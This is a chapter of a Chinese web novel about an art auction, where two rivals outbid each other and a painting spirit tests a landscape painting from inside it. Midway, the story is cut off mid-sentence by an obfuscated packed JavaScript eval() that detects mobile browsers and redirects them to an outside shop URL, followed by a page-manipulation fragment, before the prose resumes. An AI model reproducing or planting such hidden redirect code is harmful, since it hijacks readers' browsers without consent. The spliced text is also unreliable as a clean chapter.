文趣网 > 其他小说 > 穿进画中与资本家绑定了怎么破? > 16. 第二次鉴画!
    “是贺学弟非要跟拍的呀,我是真心喜欢这件藏品。如果不是因为你,我早就把它拍回家了。”他状似无奈的摊了摊手,语气却莫名能听出一股挑衅的意味。

    贺冶气急,但又没法拿他如何,只能瞪了他一眼,随后气鼓鼓的坐下。

    而主持人已经开始介绍起下一件拍品。

    “这件拍品是元代作家仇谦所绘的《庆中春猎图》,此画描绘了当时初春时的在猎场中猎骑队捕捉猎物的画面,在画面中,能够看到猎物及猎人的不同状态,画面生动,栩栩如生,起拍价100万。”

    “100万。”厉子晖当即举牌。

    “厉子晖你没完了!”贺冶一拍桌子猛的站起来。

    坑他一次也就罢了,难不成还想坑他第二次?

    “这位先生,注意会场秩序。”主持人开口。

    贺冶梗着脖子站在原地。

    “学弟,你不想拍可以不拍,我没有逼过你,但我也有竞拍的自由。”厉子晖懒洋洋的抬了抬眼,眼神却格外犀利。

    “还有既然你还称我一声学长,这就是你对学长的态度?”

    他的视线若有若无的落在他拍在桌子上的手上。

    贺冶嗖的一下收回手去,在厉子晖凌厉的目光下,他脸莫名一红,居然有几分结巴,“不,不好意思。”

    “没事坐吧。”厉子晖懒懒回复,“主持人,请继续。”

    “好的,26号先生出价100万,还有哪位出价更高么?”见贺冶乖乖坐下,主持人抓紧时间接过话头。

    二人上一把的比拼给了众人不算小的威慑,众人出价明显谨慎了许多。

    一时间,只有零散几个买家愿意跟价。

    “再来一次,他怕是不会上当了。”季婳有些犹豫的看着至今从未开过口的贺冶。

    刚才吃的亏就在眼前,现在但凡有点脑子都不可能继续跟拍。

    “没关系,”他再次举牌,脸上始终带着游刃有余的笑意,“相信我。”

    “26号先生出价160万,还有人要跟么?”

    “160万一次,160万两次……”

    贺冶看着厉子晖冷静的侧脸,心中憋着一股气。

    看起来这幅画才是他真正想拍下的那张。

    眼看着厉子晖古画即将到手,他忍不住攥紧手中的牌子,力道大到差点要将牌子折断。

    凭什么他被抬价到市场价才拍下,但他却能以这么低的价格就轻易将这幅画收入囊中?

    既然他刚才故意抬价,那就别怪他也把这价格抬上一抬了!

    “180万。”

    在拍卖槌落下的前一秒,贺冶举牌,他的声音穿透整个会场。

    随后他有些紧张的回头,看着厉子晖的表情,没有错过他脸上一闪而过的慌乱。

    果然。

    他又开始洋洋得意起来。

    叫他让他在拍卖会上丢脸,还敢拿学长的身份压他,他偏不让他这般顺利!

    见贺冶扭过头去,厉子晖嘴角忍不住勾了勾。

    上套了。

    接下来,虽然贺冶加价虽然不多,但每次都故意卡在快要拍下的最后时刻出价,硬生生让拍卖继续进行下去。

    两人拉扯之间,画的价格也缓缓上涨,虽然上浮速度不似上一幅那么快,但仍旧将画价提到了个不算低的价格。

    季婳看着逐渐上涨的价格有些担心,“这件真的要拍吗?要不要我去看看真伪。”

    “不用。”他继续举牌,目光灼灼,却仍然抽空回复了季婳的疑问,“真正的好东西在后面。”

    “那你现在这是?”她忍不住有些困惑,刚才也那次就罢了,这次明明贺冶明摆着不好糊弄了还要继续出价,到底打的是什么注意。

    “迷惑一下他的视线,顺道消耗一下他的财力值。”他继续喊价,“230万。”

    “你可别迷惑别人,最后把自己迷了。”她忍不住小声嘟囔。

    “230万第一次,230万第二次……”

    贺冶将竞价牌一收,一副再也不肯出价的架势。

    现在价格已经拍到了和刚才那幅同样高的价格,到了这价格他也算是成功报复了一把。

    接下来还是谨慎些好,可别再着了厉子晖的道。

    “贺学弟怎么不跟了?不是说好要把我想要的都拍回家吗?”他扭头看向贺冶,眉眼弯弯,笑容格外灿烂。

    “不了,既然学长喜欢,我还是不夺人所爱了。”他把那竞价牌捂得死死的,一副再也不肯出价的架势。

    “现在该怎么办?”眼看着拍卖槌即将落下,季婳看着无动于衷的贺冶,忍不住着急。

    现在这价格已经超出市场价两倍了。

    如果以这个价格成交,厉子晖也算不上占什么便宜。

    更何况,拍卖会不保瑕不保真,这幅画她又没验过,是真是假还尚未可知。

    “当然是……继续!”

    他眼中闪过一道暗光。

    话音刚落,远处一个戴着口罩墨镜和帽子裹得严严实实的男人突然开口竞价:“240万。”

    “23号先生出价240万,还有人出价更高么!”

    季婳见有人接盘,急急道,“厉总,收手吧,不如就让他拍下得了。”

    虽然价格高的吓人,但至少这画也算是有了个好去处。

    虽然没坑到贺冶,但至少没砸在手里,好歹还有人愿意接手。

    “那可不行。”厉子晖摇了摇头,瞥了一眼贺冶,眼神中带着丝丝凉意。

    开弓没有回头箭,既然开始,就绝没有后退的道理。

    “340万!”一道清朗而坚定的声音穿透整个会场。

    围观的众人纷纷倒吸一口凉气。

    他居然直接加价100万!

    这是对这幅画势在必得了!

    听见周围的窃窃私语,厉子晖嘴角的笑意丝毫未减。

    “多谢学弟割爱,不过这幅画我要定了。”

    贺冶见到厉子晖的眼神,眉头狠狠一皱。

    这次,他是认真的?

    那若是当真让他拍下,岂不是让他又扳回一局?

    他手中的竞价牌转了转,但心头仍有疑虑。

    但万一又是他诈我怎么办?

    他伸手想将竞价牌放下,却又忍不住转念一想。

    刚才23号先生出价,厉子晖明明有出手的机会,却还是把画给截下,甚至还加在此基础上加了100万。

    若是当真不愿,那让刚才那人拍下来不就好了?

    何必继续参加拍卖?

    他眼球骨碌碌一转。

    虽然现在价格相同,但毕竟这幅画起拍价高,说到底还是他吃亏的多。

    既然厉子晖真心要拍,他是不是还能趁此再提一番价格?

    “340万第一次,340万第二次……”

    “350万!”在拍卖槌落下的最后一秒,贺冶再次举牌。

    成功了。

    厉子晖放下手中的牌子。

    主持人的声音再次响起,厉子晖却再也没有开口。

    丝毫不出意外的,贺冶再次拍下了这幅画。

    “厉!子!晖!”贺冶咬牙切齿。

    该不会这家伙刚才又是在等他出手吧?!

    他心里想

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729418|208769||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着,也确实就这么问出口了。

    “唔,好像是耶。”厉子晖一脸无辜的摊了摊手。

    贺冶气得牙根痒痒,他又被耍了!

    他这次来就是为了花钱的。

    但现在,这钱虽是花出去了,却花的他心口堵得慌。

    不过有了刚才那遭,他也不敢再在明面上发作,只是干脆把竞价牌扔远了些,眼不见心为净。

    此后几件拍品,贺冶不再出价,厉子晖也再也没出过手。

    季婳对此也颇为理解。

    毕竟再一再而不再三,总不能可着同一个人一直薅。

    拍卖会的其他人也终于松了口气。

    俩癫公的闹剧终于结束,拍卖会的价格也终于恢复了往日的价格水准。

    一下失了两个捧哏,主持人虽心中有些失落,但还是继续维持着原有的专业,拍卖会依旧稳步推进。

    拍卖会很快到了尾声,最后一幅画被推出。

    “各位,接下来给大家介绍的是我们今天最后一份拍品,是北宋画家范宽所画的《雪景寒林图》,此画气势磅礴,境界深远,生动的描绘出秦地雪后山川的景色,是海内范宽存世的唯一画作,其稀有程度不必多言。”主持人指着身边的画开口。

    厉子晖听到这个名字重新打起精神,看向手心的季婳,“准备好,要来了。”

    这才是他这次拍卖会前来的目的。

    他自始至终想拍的画作只有这一幅。

    他的余光瞥向贺冶,贺冶也注意到他的目光,挑衅似的将刚捡回来的竞价牌向他这边扬了扬,一副势在必得的样子。

    他从刚才火热的拍卖中冷静下来,终于也隐隐猜到了厉子晖此次前来的目的。

    只有这幅画才是为数不多能与凌簌大师作品相提并论的画作。

    若是他想要在唐老爷子上不落下风,那目标必然是这幅。

    既然如此,他绝不能让他如意!

    “起拍价,2000万。”

    “2000万。”贺冶抢先举牌,得意的看了厉子晖一眼。

    只要他在这,厉子晖想要拍下这幅作品,门都没有!

    很快有其余几位竞价,贺冶纷纷将他们压下。

    厉子晖始终没有出价,他转动着手中的竞价牌,眼睛注视着那幅画作。

    画中一个小黑点正在缓缓移动。

    此时,季婳正在画中艰难前行着。

    这幅画里天气不好,虽是雪后,但积雪太厚,白茫茫的积雪将道路全部掩盖住,山林中白茫茫一片,视野受限,一时间竟难以辨别她所处的位置。

    她站在原地,还能隐隐听到外面主持人加价的声音。

    没想到当画灵还得做抗干扰训练。

    她叹了口气,努力从雪中拔腿向前走去。

    画中的寒风像刀子似的往脸上刮,刮得她脸上生疼。

    早知道有这么一遭,穿越的时候就多穿点了。

    她冻一边得瑟一边忍不住想。

    至少穿多了还能脱,这穿少了实在是有点无能为力。

    哗啦啦——

    她抬起头,只见远处树枝顶端摇晃着,一群飞鸟不知道受了什么惊从山林深处飞出。

    大风将积雪表面卷起,她向身后看去,那些脚印已经完全被覆盖了一层。

    这种天气里,就连穿越助手都无法分辨出正确的方向。

    如果在这里迷失,那可就糟了。

    她终究还是没敢继续往前走。

    判断画的真伪的画,靠这些树也够了。

    她打开穿越助手,一步步走到旁边的树旁,却意外对上一双金澄澄的眼睛。